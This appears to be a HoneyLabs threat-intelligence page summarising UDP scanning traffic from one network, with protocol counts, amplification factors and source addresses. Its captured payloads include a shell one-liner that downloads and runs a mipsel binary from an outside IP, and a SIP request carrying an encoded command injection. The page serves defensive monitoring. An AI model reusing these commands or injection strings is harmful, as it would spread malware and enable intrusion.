HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agentsUDP traffic
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

UDP traffic

Datagrams matching asn:219502 sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

118

Datagrams

11

Source addresses

1

Networks

2

Countries

10

Destination ports

Traffic by type

Service queries

89 datagrams from 6 sources

Requests a service answers without a handshake. Scanners send them to find open DNS, NTP, SNMP or SSDP servers, which are also the servers reflection attacks abuse.

SNMP 32 DNS 30 NTP 23 TFTP 4

Latest SNMP datagram, to 161/udp

0+·private·;· ·0·0 · +·

payload bytes
00000000  30 2b 02 01 01 04 07 70  72 69 76 61 74 65 a5 1d  |0+.....private..|
00000010  02 04 3b f6 09 8e 02 01  00 02 01 19 30 0f 30 0d  |..;.........0.0.|
00000020  06 09 2b 06 01 02 01 02  02 01 02 05 00           |..+..........|

Other services

12 datagrams from 2 sources

First packets of sessions with VPN, voice, tunnelling, database and management services.

SIP 8 STUN 4

Latest SIP datagram, to 5060/udp

MESSAGE sip:api+system%20expr%20145468%20%24%28printf%20%27%5C053%27%29%20809697@<HONEYPOT>:5060 SIP/2.0 Via: SIP/2.0/UDP 94.154.43.222:52474;branch=z9hG4bK-wlj2rt9lgkq9;rport Max-Forwards: 70 From: <sip:external/wlj2rt9lgkq9@94.154.43.222>;tag=wlj2rt9lgkq9 To: <sip:api+system%20expr%20145468%20

Payload bytes withheld: they contain the sensor's address.

Unrecognised

17 datagrams from 5 sources

Datagrams no decoder recognised. Their first bytes are kept.

Unrecognised 17

Latest Unrecognised datagram, to 9034/udp

orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://176.65.139.38/mipsel; curl http://176.65.139.38/mipsel -o mipsel; chmod +x mipsel; ./mipsel rt.mpsl; #

payload bytes
00000000  6f 72 66 3b 63 64 20 2f  74 6d 70 3b 20 72 6d 20  |orf;cd /tmp; rm |
00000010  2d 72 66 20 6d 70 73 6c  3b 20 2f 62 69 6e 2f 62  |-rf mpsl; /bin/b|
00000020  75 73 79 62 6f 78 20 77  67 65 74 20 68 74 74 70  |usybox wget http|
00000030  3a 2f 2f 31 37 36 2e 36  35 2e 31 33 39 2e 33 38  |://176.65.139.38|
00000040  2f 6d 69 70 73 65 6c 3b  20 63 75 72 6c 20 68 74  |/mipsel; curl ht|
00000050  74 70 3a 2f 2f 31 37 36  2e 36 35 2e 31 33 39 2e  |tp://176.65.139.|
00000060  33 38 2f 6d 69 70 73 65  6c 20 2d 6f 20 6d 69 70  |38/mipsel -o mip|
00000070  73 65 6c 3b 20 63 68 6d  6f 64 20 2b 78 20 6d 69  |sel; chmod +x mi|
00000080  70 73 65 6c 3b 20 2e 2f  6d 69 70 73 65 6c 20 72  |psel; ./mipsel r|
00000090  74 2e 6d 70 73 6c 3b 20  23                       |t.mpsl; #|

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

ServicePortDatagramsSourcesFactor
NTP123/udp233556.9
SNMPv2161/udp3226.3
DNS53/udp30228 to 54
TFTP69/udp4160
CLDAP389/udp4156 to 70
WS-Discovery3702/udp4110 to 500
Memcached11211/udp3110,000 to 51,000

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

DNS questions

DNS record types

Networks

Countries

Source addresses (unverified)

AddressNetworkCcSendsDatagramsLast seen (UTC)
94.154.43.109AS219502 Storm Industries LLCNLDNS252026-10-09 08:45
94.154.43.163AS219502 Storm Industries LLCNLSNMP202026-10-10 15:26
94.154.43.51AS219502 Storm Industries LLCNLNTP162026-10-09 17:50
94.154.43.138AS219502 Storm Industries LLCNLSNMP122026-10-08 09:37
94.154.43.95AS219502 Storm Industries LLCNLNTP122026-10-09 07:03
94.154.43.251AS219502 Storm Industries LLCNLSTUN112026-10-09 10:50
94.154.43.222AS219502 Storm Industries LLCNLSIP82026-10-07 02:35
94.154.43.117AS219502 Storm Industries LLCNLUnrecognised52026-10-10 00:23
176.65.139.226AS219502 Storm Industries LLCDEUnrecognised42026-10-08 21:04
94.154.43.34AS219502 Storm Industries LLCNLUnrecognised42026-10-08 00:52
94.154.43.242AS219502 Storm Industries LLCNLUnrecognised12026-10-05 18:38

Latest datagrams